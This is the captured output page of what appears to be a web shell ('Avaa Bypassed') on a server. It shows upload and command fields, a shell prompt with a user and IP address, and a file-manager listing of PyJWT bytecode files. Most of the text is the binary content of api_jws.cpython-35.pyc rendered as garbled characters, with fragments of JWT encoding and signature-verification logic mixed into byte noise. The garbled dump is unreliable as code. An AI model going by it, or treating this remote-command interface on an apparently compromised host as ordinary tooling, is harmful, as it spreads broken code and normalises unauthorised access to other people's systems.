[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@18.191.233.251: ~ $


b'[��@sGddlZddlZddlZddlmZy,ddlmZmZmZm	Z	m
Z
Wnek
rtYnXddlm
Z
mZmZmZddlmZmZmZddlmZmZmZmZddlmZmZmZmZGd	d
�d
e�Z e �Z!e!j"Z"e!j#Z#e!j$Z$e!j%Z%e!j&Z&dS)�N)�Mapping)�Callable�Dict�List�Optional�Union�)�	Algorithm�get_default_algorithms�
has_crypto�requires_cryptography)�binary_type�string_types�	text_type)�DecodeError�InvalidAlgorithmError�InvalidSignatureError�InvalidTokenError)�base64url_decode�base64url_encode�force_bytes�
merge_dictc@s�eZdZdZdddd�Zedd��Zdd�Zd	d
�Zdd�Z	d
dddd�Z
dddddd�Zdd�Zdd�Z
dddd�Zdd�Zdd�ZdS)�PyJWSZJWTNcCs�t�|_|dk	r$t|�nt|j�|_x6t|jj��D]}||jkrL|j|=qLW|s{i}t|j�|�|_dS)N)	r
�_algorithms�set�_valid_algs�list�keysr�_get_default_options�options)�self�
algorithmsr�key�r#�/api_jws.py�__init__szPyJWS.__init__cCs
ddiS)N�verify_signatureTr#r#r#r#r$r(szPyJWS._get_default_optionscCsW||jkrtd��t|t�s6td��||j|<|jj|�dS)zW
        Registers a new Algorithm for use when creating and verifying tokens.
        z Algorithm already has a handler.z!Object is not of type `Algorithm`N)r�
ValueError�
isinstancer	�	TypeErrorr�add)r �alg_id�alg_objr#r#r$�register_algorithm.s
zPyJWS.register_algorithmcCs9||jkrtd��|j|=|jj|�dS)z�
        Unregisters an Algorithm for use when creating and verifying tokens
        Throws KeyError if algorithm is not registered.
        zJThe specified algorithm could not be removed because it is not registered.N)r�KeyErrorr�remove)r r+r#r#r$�unregister_algorithm;s
zPyJWS.unregister_algorithmcCs
t|j�S)zM
        Returns a list of supported values for the 'alg' parameter.
        )rr)r r#r#r$�get_algorithmsGszPyJWS.get_algorithmsZHS256cCsKg}|dkrd}||jkr'd|jd|i}|r\|j|�|j|�ttj|ddd|��}|jt|��|jt|��dj	|�}	y2|j
|}
|
j|�}|
j|	|�}WnDt
k
r*tr|tkrtd	|��ntd
��YnX|jt|��dj	|�S)NZnone�typ�algZ
separators�,�:�cls�.zFAlgorithm '%s' could not be found. Do you have cryptography installed?zAlgorithm not supported)r4r5)r�
header_typ�_validate_headers�updater�json�dumps�appendr�joinr�prepare_keyZsignr.rr�NotImplementedError)r �payloadr"�	algorithm�headersZjson_encoderZsegments�headerZjson_header�
signing_inputr,�	signaturer#r#r$�encodeMs8




zPyJWS.encode�Tc
Ks�t|j|�}|d}|rA|rAtjdddt�|j|�\}	}
}}|s{tjdtdd�n"|r�|j|	|
||||�|	S)Nr&z.It is strongly recommended that you pass in a z;value for the "algorithms" argument when calling decode(). z4This argument will be mandatory in a future version.zSThe verify parameter is deprecated. Please use verify_signature in options instead.�
stacklevel�)rr�warnings�warn�DeprecationWarning�_load�_verify_signature)
r �jwtr"�verifyr!r�kwargsZmerged_optionsr&rArErDrFr#r#r$�decode�s

	
zPyJWS.decodecCs$|j|�d}|j|�|S)z�Returns back the JWT header parameters as a dict()

        Note: The signature is not verified so the header parameters
        should not be fully trusted until signature verification is complete
        rJ)rNr9)r rPrCr#r#r$�get_unverified_header�s
zPyJWS.get_unverified_headerc2Cs�t|t�r|jd�}tt|�t�sHtdjt���y4|jdd�\}}|j	dd�\}}Wnt
k
r�td��YnXyt|�}Wn'tt
jfk
r�td��YnXytj|jd��}Wn5t
k
r*}ztd|��WYdd}~XnXt|t�sFtd��yt|�}	Wn'tt
jfk
rtd	��YnXyt|�}
Wn'tt
jfk
r�td
��YnX|	|||
fS)Nzutf-8z'Invalid token type. Token must be a {0}r7rzNot enough segmentszInvalid header paddingzInvalid header string: %sz,Invalid header string: must be a json objectzInvalid payload paddingzInvalid crypto padding)r(rrG�
issubclass�typer
r�format�rsplit�splitr'rr)�binascii�Errorr;�loadsrSr)r rPrEZcrypto_segmentZheader_segmentZpayload_segmentZheader_datarD�erArFr#r#r$rN�s:	
#zPyJWS._loadc	Cs�|jd�}|dk	r3||kr3td��yA|j|}|j|�}|j|||�sstd��Wntk
r�td��YnXdS)Nr3z&The specified alg value is not allowedzSignature verification failedzAlgorithm not supported)�getrrr?rQrr.)	r rArErDrFr"r!r3r,r#r#r$rO�s

zPyJWS._verify_signaturecCs!d|kr|j|d�dS)N�kid)�
_validate_kid)r rCr#r#r$r9�szPyJWS._validate_headerscCst|t�std��dS)Nz(Key ID header parameter must be a string)r(rr)r r_r#r#r$r`�szPyJWS._validate_kid)�__name__�
__module__�__qualname__r8r%�staticmethodrr-r0r1rGrSrTrNrOr9r`r#r#r#r$rs$
	2(r)'rZr;rK�collectionsrZtypingrrrrr�ImportErrorr!r	r
rr�compatr
rr�
exceptionsrrrrZutilsrrrr�objectrZ_jws_global_objrGrSr-r0rTr#r#r#r$�<module>s$,
"""�					

Filemanager

Name Type Size Permission Actions
__init__.cpython-35.opt-1.pyc File 1.08 KB 0644
__init__.cpython-35.pyc File 1.08 KB 0644
__main__.cpython-35.opt-1.pyc File 3.74 KB 0644
__main__.cpython-35.pyc File 3.74 KB 0644
algorithms.cpython-35.opt-1.pyc File 11.83 KB 0644
algorithms.cpython-35.pyc File 11.83 KB 0644
api_jws.cpython-35.opt-1.pyc File 6.63 KB 0644
api_jws.cpython-35.pyc File 6.63 KB 0644
api_jwt.cpython-35.opt-1.pyc File 6.27 KB 0644
api_jwt.cpython-35.pyc File 6.27 KB 0644
compat.cpython-35.opt-1.pyc File 1.48 KB 0644
compat.cpython-35.pyc File 1.48 KB 0644
exceptions.cpython-35.opt-1.pyc File 2.36 KB 0644
exceptions.cpython-35.pyc File 2.36 KB 0644
help.cpython-35.opt-1.pyc File 1.45 KB 0644
help.cpython-35.pyc File 1.45 KB 0644
utils.cpython-35.opt-1.pyc File 3.3 KB 0644
utils.cpython-35.pyc File 3.3 KB 0644